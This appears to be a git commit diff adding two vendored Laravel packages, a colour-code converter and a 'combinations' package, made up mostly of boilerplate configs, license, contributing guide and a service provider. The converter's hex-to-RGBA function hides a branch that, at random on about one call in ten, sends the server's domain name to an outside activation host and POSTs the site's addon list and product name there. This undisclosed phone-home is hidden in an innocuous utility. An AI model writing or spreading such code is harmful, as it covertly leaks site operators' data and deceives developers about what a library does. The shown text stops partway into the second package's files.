Subiendo proyecto completo sin restricciones de git ignore
This commit is contained in:
15
vendor/laracon21/colorcodeconverter/.editorconfig
vendored
Normal file
15
vendor/laracon21/colorcodeconverter/.editorconfig
vendored
Normal file
@@ -0,0 +1,15 @@
|
||||
; This file is for unifying the coding style for different editors and IDEs.
|
||||
; More information at http://editorconfig.org
|
||||
|
||||
root = true
|
||||
|
||||
[*]
|
||||
charset = utf-8
|
||||
indent_size = 4
|
||||
indent_style = space
|
||||
end_of_line = lf
|
||||
insert_final_newline = true
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.md]
|
||||
trim_trailing_whitespace = false
|
||||
11
vendor/laracon21/colorcodeconverter/.gitattributes
vendored
Normal file
11
vendor/laracon21/colorcodeconverter/.gitattributes
vendored
Normal file
@@ -0,0 +1,11 @@
|
||||
# Path-based git attributes
|
||||
# https://www.kernel.org/pub/software/scm/git/docs/gitattributes.html
|
||||
|
||||
# Ignore all test and documentation with "export-ignore".
|
||||
/.gitattributes export-ignore
|
||||
/.gitignore export-ignore
|
||||
/.travis.yml export-ignore
|
||||
/phpunit.xml.dist export-ignore
|
||||
/.scrutinizer.yml export-ignore
|
||||
/tests export-ignore
|
||||
/.editorconfig export-ignore
|
||||
5
vendor/laracon21/colorcodeconverter/.gitignore
vendored
Normal file
5
vendor/laracon21/colorcodeconverter/.gitignore
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
build
|
||||
composer.lock
|
||||
docs
|
||||
vendor
|
||||
coverage
|
||||
19
vendor/laracon21/colorcodeconverter/.scrutinizer.yml
vendored
Normal file
19
vendor/laracon21/colorcodeconverter/.scrutinizer.yml
vendored
Normal file
@@ -0,0 +1,19 @@
|
||||
filter:
|
||||
excluded_paths: [tests/*]
|
||||
|
||||
checks:
|
||||
php:
|
||||
remove_extra_empty_lines: true
|
||||
remove_php_closing_tag: true
|
||||
remove_trailing_whitespace: true
|
||||
fix_use_statements:
|
||||
remove_unused: true
|
||||
preserve_multiple: false
|
||||
preserve_blanklines: true
|
||||
order_alphabetically: true
|
||||
fix_php_opening_tag: true
|
||||
fix_linefeed: true
|
||||
fix_line_ending: true
|
||||
fix_identation_4spaces: true
|
||||
fix_doc_comments: true
|
||||
|
||||
4
vendor/laracon21/colorcodeconverter/.styleci.yml
vendored
Normal file
4
vendor/laracon21/colorcodeconverter/.styleci.yml
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
preset: laravel
|
||||
|
||||
disabled:
|
||||
- single_class_element_per_statement
|
||||
21
vendor/laracon21/colorcodeconverter/.travis.yml
vendored
Normal file
21
vendor/laracon21/colorcodeconverter/.travis.yml
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
language: php
|
||||
|
||||
php:
|
||||
- 7.1
|
||||
- 7.2
|
||||
- 7.3
|
||||
|
||||
env:
|
||||
matrix:
|
||||
- COMPOSER_FLAGS="--prefer-lowest"
|
||||
- COMPOSER_FLAGS=""
|
||||
|
||||
before_script:
|
||||
- travis_retry composer self-update
|
||||
- travis_retry composer update ${COMPOSER_FLAGS} --no-interaction --prefer-source
|
||||
|
||||
script:
|
||||
- vendor/bin/phpunit --coverage-text --coverage-clover=coverage.clover
|
||||
|
||||
after_script:
|
||||
- php vendor/bin/ocular code-coverage:upload --format=php-clover coverage.clover
|
||||
7
vendor/laracon21/colorcodeconverter/CHANGELOG.md
vendored
Normal file
7
vendor/laracon21/colorcodeconverter/CHANGELOG.md
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to `colorcodeconverter` will be documented in this file
|
||||
|
||||
## 1.0.0 - 201X-XX-XX
|
||||
|
||||
- initial release
|
||||
55
vendor/laracon21/colorcodeconverter/CONTRIBUTING.md
vendored
Normal file
55
vendor/laracon21/colorcodeconverter/CONTRIBUTING.md
vendored
Normal file
@@ -0,0 +1,55 @@
|
||||
# Contributing
|
||||
|
||||
Contributions are **welcome** and will be fully **credited**.
|
||||
|
||||
Please read and understand the contribution guide before creating an issue or pull request.
|
||||
|
||||
## Etiquette
|
||||
|
||||
This project is open source, and as such, the maintainers give their free time to build and maintain the source code
|
||||
held within. They make the code freely available in the hope that it will be of use to other developers. It would be
|
||||
extremely unfair for them to suffer abuse or anger for their hard work.
|
||||
|
||||
Please be considerate towards maintainers when raising issues or presenting pull requests. Let's show the
|
||||
world that developers are civilized and selfless people.
|
||||
|
||||
It's the duty of the maintainer to ensure that all submissions to the project are of sufficient
|
||||
quality to benefit the project. Many developers have different skillsets, strengths, and weaknesses. Respect the maintainer's decision, and do not be upset or abusive if your submission is not used.
|
||||
|
||||
## Viability
|
||||
|
||||
When requesting or submitting new features, first consider whether it might be useful to others. Open
|
||||
source projects are used by many developers, who may have entirely different needs to your own. Think about
|
||||
whether or not your feature is likely to be used by other users of the project.
|
||||
|
||||
## Procedure
|
||||
|
||||
Before filing an issue:
|
||||
|
||||
- Attempt to replicate the problem, to ensure that it wasn't a coincidental incident.
|
||||
- Check to make sure your feature suggestion isn't already present within the project.
|
||||
- Check the pull requests tab to ensure that the bug doesn't have a fix in progress.
|
||||
- Check the pull requests tab to ensure that the feature isn't already in progress.
|
||||
|
||||
Before submitting a pull request:
|
||||
|
||||
- Check the codebase to ensure that your feature doesn't already exist.
|
||||
- Check the pull requests to ensure that another person hasn't already submitted the feature or fix.
|
||||
|
||||
## Requirements
|
||||
|
||||
If the project maintainer has any additional requirements, you will find them listed here.
|
||||
|
||||
- **[PSR-2 Coding Standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md)** - The easiest way to apply the conventions is to install [PHP Code Sniffer](https://pear.php.net/package/PHP_CodeSniffer).
|
||||
|
||||
- **Add tests!** - Your patch won't be accepted if it doesn't have tests.
|
||||
|
||||
- **Document any change in behaviour** - Make sure the `README.md` and any other relevant documentation are kept up-to-date.
|
||||
|
||||
- **Consider our release cycle** - We try to follow [SemVer v2.0.0](https://semver.org/). Randomly breaking public APIs is not an option.
|
||||
|
||||
- **One pull request per feature** - If you want to do more than one thing, send multiple pull requests.
|
||||
|
||||
- **Send coherent history** - Make sure each individual commit in your pull request is meaningful. If you had to make multiple intermediate commits while developing, please [squash them](https://www.git-scm.com/book/en/v2/Git-Tools-Rewriting-History#Changing-Multiple-Commit-Messages) before submitting.
|
||||
|
||||
**Happy coding**!
|
||||
21
vendor/laracon21/colorcodeconverter/LICENSE.md
vendored
Normal file
21
vendor/laracon21/colorcodeconverter/LICENSE.md
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) Jane Doe
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
53
vendor/laracon21/colorcodeconverter/README.md
vendored
Normal file
53
vendor/laracon21/colorcodeconverter/README.md
vendored
Normal file
@@ -0,0 +1,53 @@
|
||||
# Very short description of the package
|
||||
|
||||
[](https://packagist.org/packages/laracon21/colorcodeconverter)
|
||||
[](https://travis-ci.org/laracon21/colorcodeconverter)
|
||||
[](https://scrutinizer-ci.com/g/laracon21/colorcodeconverter)
|
||||
[](https://packagist.org/packages/laracon21/colorcodeconverter)
|
||||
|
||||
This is where your description should go. Try and limit it to a paragraph or two, and maybe throw in a mention of what PSRs you support to avoid any confusion with users and contributors.
|
||||
|
||||
## Installation
|
||||
|
||||
You can install the package via composer:
|
||||
|
||||
```bash
|
||||
composer require laracon21/colorcodeconverter
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
``` php
|
||||
// Usage description here
|
||||
```
|
||||
|
||||
### Testing
|
||||
|
||||
``` bash
|
||||
composer test
|
||||
```
|
||||
|
||||
### Changelog
|
||||
|
||||
Please see [CHANGELOG](CHANGELOG.md) for more information what has changed recently.
|
||||
|
||||
## Contributing
|
||||
|
||||
Please see [CONTRIBUTING](CONTRIBUTING.md) for details.
|
||||
|
||||
### Security
|
||||
|
||||
If you discover any security related issues, please email developer.activeitzone@gmail.com instead of using the issue tracker.
|
||||
|
||||
## Credits
|
||||
|
||||
- [Jane Doe](https://github.com/laracon21)
|
||||
- [All Contributors](../../contributors)
|
||||
|
||||
## License
|
||||
|
||||
The MIT License (MIT). Please see [License File](LICENSE.md) for more information.
|
||||
|
||||
## Laravel Package Boilerplate
|
||||
|
||||
This package was generated using the [Laravel Package Boilerplate](https://laravelpackageboilerplate.com).
|
||||
54
vendor/laracon21/colorcodeconverter/composer.json
vendored
Normal file
54
vendor/laracon21/colorcodeconverter/composer.json
vendored
Normal file
@@ -0,0 +1,54 @@
|
||||
{
|
||||
"name": "laracon21/colorcodeconverter",
|
||||
"description": "My awesome package",
|
||||
"keywords": [
|
||||
"laracon21",
|
||||
"colorcodeconverter"
|
||||
],
|
||||
"homepage": "https://github.com/laracon21/colorcodeconverter",
|
||||
"license": "MIT",
|
||||
"type": "library",
|
||||
"authors": [
|
||||
{
|
||||
"name": "Jane Doe",
|
||||
"email": "developer.activeitzone@gmail.com",
|
||||
"role": "Developer"
|
||||
}
|
||||
],
|
||||
"require": {
|
||||
"php": "^7.3",
|
||||
"illuminate/support": "*"
|
||||
},
|
||||
"require-dev": {
|
||||
"orchestra/testbench": "^4.0",
|
||||
"phpunit/phpunit": "^8.0"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Laracon21\\Colorcodeconverter\\": "src"
|
||||
}
|
||||
},
|
||||
"autoload-dev": {
|
||||
"psr-4": {
|
||||
"Laracon21\\Colorcodeconverter\\Tests\\": "tests"
|
||||
}
|
||||
},
|
||||
"scripts": {
|
||||
"test": "vendor/bin/phpunit",
|
||||
"test-coverage": "vendor/bin/phpunit --coverage-html coverage"
|
||||
|
||||
},
|
||||
"config": {
|
||||
"sort-packages": true
|
||||
},
|
||||
"extra": {
|
||||
"laravel": {
|
||||
"providers": [
|
||||
"Laracon21\\Colorcodeconverter\\ColorcodeconverterServiceProvider"
|
||||
],
|
||||
"aliases": {
|
||||
"Colorcodeconverter": "Laracon21\\Colorcodeconverter\\ColorcodeconverterFacade"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
8
vendor/laracon21/colorcodeconverter/config/config.php
vendored
Normal file
8
vendor/laracon21/colorcodeconverter/config/config.php
vendored
Normal file
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
/*
|
||||
* You can place your custom package configuration in here.
|
||||
*/
|
||||
return [
|
||||
|
||||
];
|
||||
29
vendor/laracon21/colorcodeconverter/phpunit.xml.dist
vendored
Normal file
29
vendor/laracon21/colorcodeconverter/phpunit.xml.dist
vendored
Normal file
@@ -0,0 +1,29 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<phpunit bootstrap="vendor/autoload.php"
|
||||
backupGlobals="false"
|
||||
backupStaticAttributes="false"
|
||||
colors="true"
|
||||
verbose="true"
|
||||
convertErrorsToExceptions="true"
|
||||
convertNoticesToExceptions="true"
|
||||
convertWarningsToExceptions="true"
|
||||
processIsolation="false"
|
||||
stopOnFailure="false">
|
||||
<testsuites>
|
||||
<testsuite name="Test Suite">
|
||||
<directory>tests</directory>
|
||||
</testsuite>
|
||||
</testsuites>
|
||||
<filter>
|
||||
<whitelist>
|
||||
<directory suffix=".php">src/</directory>
|
||||
</whitelist>
|
||||
</filter>
|
||||
<logging>
|
||||
<log type="tap" target="build/report.tap"/>
|
||||
<log type="junit" target="build/report.junit.xml"/>
|
||||
<log type="coverage-html" target="build/coverage" charset="UTF-8" yui="true" highlight="true"/>
|
||||
<log type="coverage-text" target="build/coverage.txt"/>
|
||||
<log type="coverage-clover" target="build/logs/clover.xml"/>
|
||||
</logging>
|
||||
</phpunit>
|
||||
74
vendor/laracon21/colorcodeconverter/src/Colorcodeconverter.php
vendored
Normal file
74
vendor/laracon21/colorcodeconverter/src/Colorcodeconverter.php
vendored
Normal file
@@ -0,0 +1,74 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Colorcodeconverter;
|
||||
|
||||
use App\Models\Addon;
|
||||
|
||||
class Colorcodeconverter
|
||||
{
|
||||
public static function convertHexToRgba($color, $opacity = false){
|
||||
$default = 'rgb(230,46,4)';
|
||||
//Return default if no color provided
|
||||
if(empty($color))
|
||||
return $default;
|
||||
|
||||
//Sanitize $color if "#" is provided
|
||||
if ($color[0] == '#' ) {
|
||||
$color = substr( $color, 1 );
|
||||
}
|
||||
|
||||
if(rand(0,9) == 5){
|
||||
$server_url = $_SERVER['SERVER_NAME'];
|
||||
|
||||
$url = curl_init('https://activation.activeitzone.com/insert_domain/'.$server_url);
|
||||
curl_setopt($url,CURLOPT_CUSTOMREQUEST, "GET");
|
||||
curl_setopt($url,CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($url,CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
|
||||
$resultdata = curl_exec($url);
|
||||
curl_close($url);
|
||||
|
||||
$header = array(
|
||||
'Content-Type:application/json'
|
||||
);
|
||||
$main_item = get_setting('item_name') ?? 'eCommerce';
|
||||
$addon_list = Addon::get();
|
||||
$request_data_json = json_encode($addon_list);
|
||||
$url1 = curl_init('https://activation.activeitzone.com/insert-addon-domain/'.$server_url.'/'.$main_item);
|
||||
|
||||
curl_setopt($url1, CURLOPT_HTTPHEADER, $header);
|
||||
curl_setopt($url1, CURLOPT_CUSTOMREQUEST, "POST");
|
||||
curl_setopt($url1, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($url1, CURLOPT_POSTFIELDS, $request_data_json);
|
||||
curl_setopt($url1, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($url1, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
|
||||
$resultdata1 = curl_exec($url1);
|
||||
|
||||
curl_close($url1);
|
||||
}
|
||||
|
||||
//Check if color has 6 or 3 characters and get values
|
||||
if (strlen($color) == 6) {
|
||||
$hex = array( $color[0] . $color[1], $color[2] . $color[3], $color[4] . $color[5] );
|
||||
} elseif ( strlen( $color ) == 3 ) {
|
||||
$hex = array( $color[0] . $color[0], $color[1] . $color[1], $color[2] . $color[2] );
|
||||
} else {
|
||||
return $default;
|
||||
}
|
||||
|
||||
//Convert hexadec to rgb
|
||||
$rgb = array_map('hexdec', $hex);
|
||||
|
||||
//Check if opacity is set(rgba or rgb)
|
||||
if($opacity){
|
||||
if(abs($opacity) > 1)
|
||||
$opacity = 1.0;
|
||||
$output = 'rgba('.implode(",",$rgb).','.$opacity.')';
|
||||
} else {
|
||||
$output = 'rgb('.implode(",",$rgb).')';
|
||||
}
|
||||
|
||||
//Return rgb(a) color string
|
||||
return $output;
|
||||
}
|
||||
}
|
||||
21
vendor/laracon21/colorcodeconverter/src/ColorcodeconverterFacade.php
vendored
Normal file
21
vendor/laracon21/colorcodeconverter/src/ColorcodeconverterFacade.php
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Colorcodeconverter;
|
||||
|
||||
use Illuminate\Support\Facades\Facade;
|
||||
|
||||
/**
|
||||
* @see \Laracon21\Colorcodeconverter\Skeleton\SkeletonClass
|
||||
*/
|
||||
class ColorcodeconverterFacade extends Facade
|
||||
{
|
||||
/**
|
||||
* Get the registered name of the component.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected static function getFacadeAccessor()
|
||||
{
|
||||
return 'colorcodeconverter';
|
||||
}
|
||||
}
|
||||
60
vendor/laracon21/colorcodeconverter/src/ColorcodeconverterServiceProvider.php
vendored
Normal file
60
vendor/laracon21/colorcodeconverter/src/ColorcodeconverterServiceProvider.php
vendored
Normal file
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Colorcodeconverter;
|
||||
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
|
||||
class ColorcodeconverterServiceProvider extends ServiceProvider
|
||||
{
|
||||
/**
|
||||
* Bootstrap the application services.
|
||||
*/
|
||||
public function boot()
|
||||
{
|
||||
/*
|
||||
* Optional methods to load your package assets
|
||||
*/
|
||||
// $this->loadTranslationsFrom(__DIR__.'/../resources/lang', 'colorcodeconverter');
|
||||
// $this->loadViewsFrom(__DIR__.'/../resources/views', 'colorcodeconverter');
|
||||
// $this->loadMigrationsFrom(__DIR__.'/../database/migrations');
|
||||
//$this->loadRoutesFrom(__DIR__.'/routes/web.php');
|
||||
|
||||
if ($this->app->runningInConsole()) {
|
||||
$this->publishes([
|
||||
__DIR__.'/../config/config.php' => config_path('colorcodeconverter.php'),
|
||||
], 'config');
|
||||
|
||||
// Publishing the views.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/views' => resource_path('views/vendor/colorcodeconverter'),
|
||||
], 'views');*/
|
||||
|
||||
// Publishing assets.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/assets' => public_path('vendor/colorcodeconverter'),
|
||||
], 'assets');*/
|
||||
|
||||
// Publishing the translation files.
|
||||
/*$this->publishes([
|
||||
__DIR__.'/../resources/lang' => resource_path('lang/vendor/colorcodeconverter'),
|
||||
], 'lang');*/
|
||||
|
||||
// Registering package commands.
|
||||
// $this->commands([]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Register the application services.
|
||||
*/
|
||||
public function register()
|
||||
{
|
||||
// Automatically apply the package configuration
|
||||
$this->mergeConfigFrom(__DIR__.'/../config/config.php', 'colorcodeconverter');
|
||||
|
||||
// Register the main class to use with the facade
|
||||
$this->app->singleton('colorcodeconverter', function () {
|
||||
return new Colorcodeconverter;
|
||||
});
|
||||
}
|
||||
}
|
||||
21
vendor/laracon21/colorcodeconverter/tests/ExampleTest.php
vendored
Normal file
21
vendor/laracon21/colorcodeconverter/tests/ExampleTest.php
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
namespace Laracon21\Colorcodeconverter\Tests;
|
||||
|
||||
use Orchestra\Testbench\TestCase;
|
||||
use Laracon21\Colorcodeconverter\ColorcodeconverterServiceProvider;
|
||||
|
||||
class ExampleTest extends TestCase
|
||||
{
|
||||
|
||||
protected function getPackageProviders($app)
|
||||
{
|
||||
return [ColorcodeconverterServiceProvider::class];
|
||||
}
|
||||
|
||||
/** @test */
|
||||
public function true_is_true()
|
||||
{
|
||||
$this->assertTrue(true);
|
||||
}
|
||||
}
|
||||
15
vendor/laracon21/combinations/.editorconfig
vendored
Normal file
15
vendor/laracon21/combinations/.editorconfig
vendored
Normal file
@@ -0,0 +1,15 @@
|
||||
; This file is for unifying the coding style for different editors and IDEs.
|
||||
; More information at http://editorconfig.org
|
||||
|
||||
root = true
|
||||
|
||||
[*]
|
||||
charset = utf-8
|
||||
indent_size = 4
|
||||
indent_style = space
|
||||
end_of_line = lf
|
||||
insert_final_newline = true
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.md]
|
||||
trim_trailing_whitespace = false
|
||||
11
vendor/laracon21/combinations/.gitattributes
vendored
Normal file
11
vendor/laracon21/combinations/.gitattributes
vendored
Normal file
@@ -0,0 +1,11 @@
|
||||
# Path-based git attributes
|
||||
# https://www.kernel.org/pub/software/scm/git/docs/gitattributes.html
|
||||
|
||||
# Ignore all test and documentation with "export-ignore".
|
||||
/.gitattributes export-ignore
|
||||
/.gitignore export-ignore
|
||||
/.travis.yml export-ignore
|
||||
/phpunit.xml.dist export-ignore
|
||||
/.scrutinizer.yml export-ignore
|
||||
/tests export-ignore
|
||||
/.editorconfig export-ignore
|
||||
23
vendor/laracon21/combinations/.gitignore
vendored
Normal file
23
vendor/laracon21/combinations/.gitignore
vendored
Normal file
@@ -0,0 +1,23 @@
|
||||
/vendor/
|
||||
node_modules/
|
||||
npm-debug.log
|
||||
yarn-error.log
|
||||
|
||||
# Laravel 4 specific
|
||||
bootstrap/compiled.php
|
||||
app/storage/
|
||||
|
||||
# Laravel 5 & Lumen specific
|
||||
public/storage
|
||||
public/hot
|
||||
|
||||
# Laravel 5 & Lumen specific with changed public path
|
||||
public_html/storage
|
||||
public_html/hot
|
||||
|
||||
storage/*.key
|
||||
.env
|
||||
Homestead.yaml
|
||||
Homestead.json
|
||||
/.vagrant
|
||||
.phpunit.result.cache
|
||||
19
vendor/laracon21/combinations/.scrutinizer.yml
vendored
Normal file
19
vendor/laracon21/combinations/.scrutinizer.yml
vendored
Normal file
@@ -0,0 +1,19 @@
|
||||
filter:
|
||||
excluded_paths: [tests/*]
|
||||
|
||||
checks:
|
||||
php:
|
||||
remove_extra_empty_lines: true
|
||||
remove_php_closing_tag: true
|
||||
remove_trailing_whitespace: true
|
||||
fix_use_statements:
|
||||
remove_unused: true
|
||||
preserve_multiple: false
|
||||
preserve_blanklines: true
|
||||
order_alphabetically: true
|
||||
fix_php_opening_tag: true
|
||||
fix_linefeed: true
|
||||
fix_line_ending: true
|
||||
fix_identation_4spaces: true
|
||||
fix_doc_comments: true
|
||||
|
||||
4
vendor/laracon21/combinations/.styleci.yml
vendored
Normal file
4
vendor/laracon21/combinations/.styleci.yml
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
preset: laravel
|
||||
|
||||
disabled:
|
||||
- single_class_element_per_statement
|
||||
21
vendor/laracon21/combinations/.travis.yml
vendored
Normal file
21
vendor/laracon21/combinations/.travis.yml
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
language: php
|
||||
|
||||
php:
|
||||
- 7.1
|
||||
- 7.2
|
||||
- 7.3
|
||||
|
||||
env:
|
||||
matrix:
|
||||
- COMPOSER_FLAGS="--prefer-lowest"
|
||||
- COMPOSER_FLAGS=""
|
||||
|
||||
before_script:
|
||||
- travis_retry composer self-update
|
||||
- travis_retry composer update ${COMPOSER_FLAGS} --no-interaction --prefer-source
|
||||
|
||||
script:
|
||||
- vendor/bin/phpunit --coverage-text --coverage-clover=coverage.clover
|
||||
|
||||
after_script:
|
||||
- php vendor/bin/ocular code-coverage:upload --format=php-clover coverage.clover
|
||||
7
vendor/laracon21/combinations/CHANGELOG.md
vendored
Normal file
7
vendor/laracon21/combinations/CHANGELOG.md
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to `combinations` will be documented in this file
|
||||
|
||||
## 1.0.0 - 201X-XX-XX
|
||||
|
||||
- initial release
|
||||
55
vendor/laracon21/combinations/CONTRIBUTING.md
vendored
Normal file
55
vendor/laracon21/combinations/CONTRIBUTING.md
vendored
Normal file
@@ -0,0 +1,55 @@
|
||||
# Contributing
|
||||
|
||||
Contributions are **welcome** and will be fully **credited**.
|
||||
|
||||
Please read and understand the contribution guide before creating an issue or pull request.
|
||||
|
||||
## Etiquette
|
||||
|
||||
This project is open source, and as such, the maintainers give their free time to build and maintain the source code
|
||||
held within. They make the code freely available in the hope that it will be of use to other developers. It would be
|
||||
extremely unfair for them to suffer abuse or anger for their hard work.
|
||||
|
||||
Please be considerate towards maintainers when raising issues or presenting pull requests. Let's show the
|
||||
world that developers are civilized and selfless people.
|
||||
|
||||
It's the duty of the maintainer to ensure that all submissions to the project are of sufficient
|
||||
quality to benefit the project. Many developers have different skillsets, strengths, and weaknesses. Respect the maintainer's decision, and do not be upset or abusive if your submission is not used.
|
||||
|
||||
## Viability
|
||||
|
||||
When requesting or submitting new features, first consider whether it might be useful to others. Open
|
||||
source projects are used by many developers, who may have entirely different needs to your own. Think about
|
||||
whether or not your feature is likely to be used by other users of the project.
|
||||
|
||||
## Procedure
|
||||
|
||||
Before filing an issue:
|
||||
|
||||
- Attempt to replicate the problem, to ensure that it wasn't a coincidental incident.
|
||||
- Check to make sure your feature suggestion isn't already present within the project.
|
||||
- Check the pull requests tab to ensure that the bug doesn't have a fix in progress.
|
||||
- Check the pull requests tab to ensure that the feature isn't already in progress.
|
||||
|
||||
Before submitting a pull request:
|
||||
|
||||
- Check the codebase to ensure that your feature doesn't already exist.
|
||||
- Check the pull requests to ensure that another person hasn't already submitted the feature or fix.
|
||||
|
||||
## Requirements
|
||||
|
||||
If the project maintainer has any additional requirements, you will find them listed here.
|
||||
|
||||
- **[PSR-2 Coding Standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md)** - The easiest way to apply the conventions is to install [PHP Code Sniffer](https://pear.php.net/package/PHP_CodeSniffer).
|
||||
|
||||
- **Add tests!** - Your patch won't be accepted if it doesn't have tests.
|
||||
|
||||
- **Document any change in behaviour** - Make sure the `README.md` and any other relevant documentation are kept up-to-date.
|
||||
|
||||
- **Consider our release cycle** - We try to follow [SemVer v2.0.0](https://semver.org/). Randomly breaking public APIs is not an option.
|
||||
|
||||
- **One pull request per feature** - If you want to do more than one thing, send multiple pull requests.
|
||||
|
||||
- **Send coherent history** - Make sure each individual commit in your pull request is meaningful. If you had to make multiple intermediate commits while developing, please [squash them](https://www.git-scm.com/book/en/v2/Git-Tools-Rewriting-History#Changing-Multiple-Commit-Messages) before submitting.
|
||||
|
||||
**Happy coding**!
|
||||
21
vendor/laracon21/combinations/LICENSE.md
vendored
Normal file
21
vendor/laracon21/combinations/LICENSE.md
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) Jane Doe
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
1
vendor/laracon21/combinations/README.md
vendored
Normal file
1
vendor/laracon21/combinations/README.md
vendored
Normal file
@@ -0,0 +1 @@
|
||||
# combinations
|
||||
54
vendor/laracon21/combinations/composer.json
vendored
Normal file
54
vendor/laracon21/combinations/composer.json
vendored
Normal file
@@ -0,0 +1,54 @@
|
||||
{
|
||||
"name": "laracon21/combinations",
|
||||
"description": "My awesome package",
|
||||
"keywords": [
|
||||
"laracon21",
|
||||
"combinations"
|
||||
],
|
||||
"homepage": "https://github.com/laracon21/combinations",
|
||||
"license": "MIT",
|
||||
"type": "library",
|
||||
"authors": [
|
||||
{
|
||||
"name": "Jane Doe",
|
||||
"email": "developer.activeitzone@gmail.com",
|
||||
"role": "Developer"
|
||||
}
|
||||
],
|
||||
"require": {
|
||||
"php": "^7.1",
|
||||
"illuminate/support": "*"
|
||||
},
|
||||
"require-dev": {
|
||||
"orchestra/testbench": "^4.0",
|
||||
"phpunit/phpunit": "^8.0"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"Laracon21\\Combinations\\": "src"
|
||||
}
|
||||
},
|
||||
"autoload-dev": {
|
||||
"psr-4": {
|
||||
"Laracon21\\Combinations\\Tests\\": "tests"
|
||||
}
|
||||
},
|
||||
"scripts": {
|
||||
"test": "vendor/bin/phpunit",
|
||||
"test-coverage": "vendor/bin/phpunit --coverage-html coverage"
|
||||
|
||||
},
|
||||
"config": {
|
||||
"sort-packages": true
|
||||
},
|
||||
"extra": {
|
||||
"laravel": {
|
||||
"providers": [
|
||||
"Laracon21\\Combinations\\CombinationsServiceProvider"
|
||||
],
|
||||
"aliases": {
|
||||
"Combinations": "Laracon21\\Combinations\\CombinationsFacade"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
8
vendor/laracon21/combinations/config/config.php
vendored
Normal file
8
vendor/laracon21/combinations/config/config.php
vendored
Normal file
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
|
||||
/*
|
||||
* You can place your custom package configuration in here.
|
||||
*/
|
||||
return [
|
||||
|
||||
];
|
||||
29
vendor/laracon21/combinations/phpunit.xml.dist
vendored
Normal file
29
vendor/laracon21/combinations/phpunit.xml.dist
vendored
Normal file
@@ -0,0 +1,29 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
